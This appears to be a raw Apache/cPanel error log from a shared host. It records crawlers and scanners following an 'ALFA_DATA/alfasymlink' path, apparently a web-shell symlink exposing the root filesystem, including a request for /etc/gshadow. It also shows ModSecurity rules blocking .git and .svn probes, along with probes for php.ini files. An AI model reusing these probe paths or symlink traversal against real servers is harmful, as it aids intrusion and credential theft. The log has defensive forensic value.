[Tue Oct 27 07:01:47.775086 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.192.125.239:4114] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:01:51.618397 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.16:38748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/libwayland-cursor/COPYING"] [unique_id "auCEnz4THoroSjopRdX_tAAAAAE"]
[Tue Oct 27 07:01:51.618438 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.16:38748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/libwayland-cursor/COPYING"] [unique_id "auCEnz4THoroSjopRdX_tAAAAAE"]
[Tue Oct 27 07:01:51.666286 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 23.23.104.107:9421] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:03.837187 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.166.104.83:35122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:07.712002 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 98.84.60.17:5363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:11.924264 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.204.81.148:26773] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:15.881595 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 184.72.84.154:13219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:19.801630 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.71.216.196:49363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:39.975391 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.22.64.232:57574] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:43.941256 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.224.104.67:64275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:48.003742 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.205.91.101:12090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:02:52.908870 2026] [ssl:error] [pid 3220899:tid 3220899] (22)Invalid argument: [client 107.23.62.75:31543] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:16.329523 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 107.20.224.184:61154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:23.690457 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.192.67.98:62389] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:27.851197 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.213.202.136:51776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:31.887470 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 185.191.171.12:11034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/ctor
[Tue Oct 27 07:03:32.036426 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.206.47.187:28190] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:35.843451 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 23.21.119.232:62385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:47.883259 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.226.106.93:39656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:56.589703 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.145.82.217:64607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:03:59.675917 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.200.54.136:48573] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:03.849280 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.213.106.226:29916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:07.908483 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.206.249.188:39347] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:15.801839 2026] [ssl:error] [pid 3209616:tid 3209616] (22)Invalid argument: [client 54.147.182.90:30333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:19.687302 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 54.156.55.147:40262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ac/bind
[Tue Oct 27 07:04:23.701023 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.94.199.128:9479] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:27.805782 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.156.124.2:61341] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:31.987527 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.215.49.176:16086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:35.758894 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.204.37.237:54382] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:04:55.740609 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.202.88.37:19314] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:07.804773 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.82.107.102:34729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:12.028336 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.90.244.132:59274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:19.127884 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 216.244.66.250:46520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/gshadow
[Tue Oct 27 07:05:28.083392 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.45.92.83:38058] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:35.862169 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.200.93.170:25199] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:39.898462 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.232.12.157:22958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:05:59.941638 2026] [ssl:error] [pid 3209603:tid 3209603] (5)Input/output error: [client 35.171.117.160:59491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:03.956722 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.206.249.188:9459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:11.926593 2026] [ssl:error] [pid 3221566:tid 3221566] (5)Input/output error: [client 44.215.231.15:16651] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:15.764654 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 18.213.70.100:15239] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/hardware_error_device/bind
[Tue Oct 27 07:06:27.760900 2026] [security2:error] [pid 3209603:tid 3209603] [client 54.166.104.83:48767] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/drivers/button/LNXPWRBN:00/input/input0/event0/"] [unique_id "auCFsz4THoroSjopRdX_wAAAAAE"]
[Tue Oct 27 07:06:27.760949 2026] [security2:error] [pid 3209603:tid 3209603] [client 54.166.104.83:48767] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/drivers/button/LNXPWRBN:00/input/input0/event0/"] [unique_id "auCFsz4THoroSjopRdX_wAAAAAE"]
[Tue Oct 27 07:06:32.055694 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.197.76.210:30326] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:40.000887 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.83.8.142:42725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:43.701008 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.206.212.24:9248] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:47.687956 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 107.20.255.194:20014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:06:57.003718 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.226.89.140:23245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:23.945514 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.195.145.102:49393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:27.934263 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 100.25.120.246:31176] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:35.990387 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.216.227.216:35440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:39.709655 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 100.29.107.38:32678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:46.458737 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 85.208.96.197:30122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/red_zone
[Tue Oct 27 07:07:48.301130 2026] [security2:error] [pid 3219292:tid 3219292] [client 64.205.112.95:63196] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "webmail.curso-de-ventas.com"] [uri "/___proxy_subdomain_webmail/lib.php"] [unique_id "auCGBG_oZ855J3-bmxEpLAAAAAY"]
[Tue Oct 27 07:07:48.301207 2026] [security2:error] [pid 3219292:tid 3219292] [client 64.205.112.95:63196] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "webmail.curso-de-ventas.com"] [uri "/___proxy_subdomain_webmail/lib.php"] [unique_id "auCGBG_oZ855J3-bmxEpLAAAAAY"]
[Tue Oct 27 07:07:48.448467 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 54.84.147.79:25761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:07:59.974887 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.231.181.240:18103] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:08:00.772468 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 185.191.171.18:15046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/slab_size
[Tue Oct 27 07:08:11.794772 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 50.19.221.48:19680] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:08:24.113892 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 3.212.86.97:50710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:0c/eject
[Tue Oct 27 07:08:31.772243 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 52.73.6.26:21184] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:08:35.858514 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.54.95.127:51354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:08:43.940530 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 54.83.56.1:32217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/ac/bind
[Tue Oct 27 07:08:47.764873 2026] [ssl:error] [pid 3209603:tid 3209603] (95)Operation not supported: [client 35.173.38.202:50726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:08:59.771923 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.196.118.6:52089] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:09:04.838978 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 195.178.110.102:5606] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:09:05.600457 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 195.178.110.102:5612] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:09:10.809813 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 195.178.110.102:5612] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:09:11.169595 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 195.178.110.102:5606] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:09:12.143463 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 195.178.110.102:3040] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:09:12.431636 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 195.178.110.102:3046] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:09:14.164728 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 195.178.110.102:3040] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:09:14.642754 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 195.178.110.102:3046] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:09:16.824586 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 100.29.128.75:13038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory17/subsystem/uevent
[Tue Oct 27 07:09:19.882301 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 54.235.158.162:53984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/new_id
[Tue Oct 27 07:09:23.771335 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 184.72.95.195:54307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/tpm_tis/unbind
[Tue Oct 27 07:09:27.882919 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.234.197.175:5506] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:09:32.131500 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 100.24.167.60:36923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/i2c-0/delete_device
[Tue Oct 27 07:09:36.269193 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.202:47750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/irq
[Tue Oct 27 07:09:54.915748 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 185.191.171.18:62132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:09:55.957939 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.84.200.43:15182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:00.018015 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.70.138.176:3351] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:03.915459 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 18.213.102.186:40271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/driver/uevent
[Tue Oct 27 07:10:07.775338 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 23.21.148.226:22385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/0000:00:01.1/resource4
[Tue Oct 27 07:10:15.919491 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.231.45.47:61590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:27.904352 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.224.132.215:61878] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:29.904474 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.10:54986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/objs_per_slab
[Tue Oct 27 07:10:31.919796 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.227.156.153:36547] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:39.799149 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.89.176.255:30430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:45.224698 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 85.208.96.196:26560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/validate
[Tue Oct 27 07:10:47.027219 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:35662] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auCGtwHzNpgY2H50otlo8wAAAAg"]
[Tue Oct 27 07:10:47.027467 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:35662] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auCGtwHzNpgY2H50otlo8wAAAAg"]
[Tue Oct 27 07:10:47.027777 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:35662] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auCGtwHzNpgY2H50otlo8wAAAAg"]
[Tue Oct 27 07:10:47.946609 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 50.19.102.70:39205] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:51.721044 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.210.29.96:51916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:10:56.167001 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 54.145.82.217:54975] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ec/bind
[Tue Oct 27 07:10:59.929343 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.84.147.79:53643] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:11.923329 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.236.41.241:65093] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:16.334828 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.221.203.24:47542] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:17.163712 2026] [security2:error] [pid 3219292:tid 3219292] [client 45.138.12.16:37426] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auCG1W_oZ855J3-bmxEpmQAAAAY"]
[Tue Oct 27 07:11:17.163983 2026] [security2:error] [pid 3219292:tid 3219292] [client 45.138.12.16:37426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auCG1W_oZ855J3-bmxEpmQAAAAY"]
[Tue Oct 27 07:11:17.164330 2026] [security2:error] [pid 3219292:tid 3219292] [client 45.138.12.16:37426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auCG1W_oZ855J3-bmxEpmQAAAAY"]
[Tue Oct 27 07:11:19.770789 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.210.114.189:23871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:23.808174 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.213.36.21:34640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:29.480156 2026] [security2:error] [pid 3201647:tid 3201647] [client 65.111.2.20:38463] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/metabase/api/session/properties"] [unique_id "auCG4ZVvqGtwGAy54pYP2wAAAA0"]
[Tue Oct 27 07:11:29.480207 2026] [security2:error] [pid 3201647:tid 3201647] [client 65.111.2.20:38463] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/metabase/api/session/properties"] [unique_id "auCG4ZVvqGtwGAy54pYP2wAAAA0"]
[Tue Oct 27 07:11:32.084512 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.203.111.15:14458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:35.776551 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.195.248.30:13511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:11:48.103436 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 18.205.213.231:3097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:0c/eject
[Tue Oct 27 07:11:55.875018 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 18.235.81.246:4841] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:1c/eject
[Tue Oct 27 07:12:00.877539 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.155.89:38367] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:07.727299 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.217.82.254:15313] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:11.957995 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 100.25.120.246:27510] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:15.765372 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.45.77.169:11582] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:27.735892 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.85.7.119:52685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:39.747360 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.83.56.1:6083] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:47.793390 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.235.239.240:44936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:55.795930 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 185.191.171.14:59922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:57.132275 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 185.191.171.14:59934] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:12:59.653417 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 52.45.29.57:53802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input3/event3/subsystem/input1/device/wakeup/wakeup10/device/drvctl
[Tue Oct 27 07:13:04.559170 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.196.114.170:32708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:13:27.733878 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 23.21.250.48:21682] AH02013: coalesce failed to read from data bucket
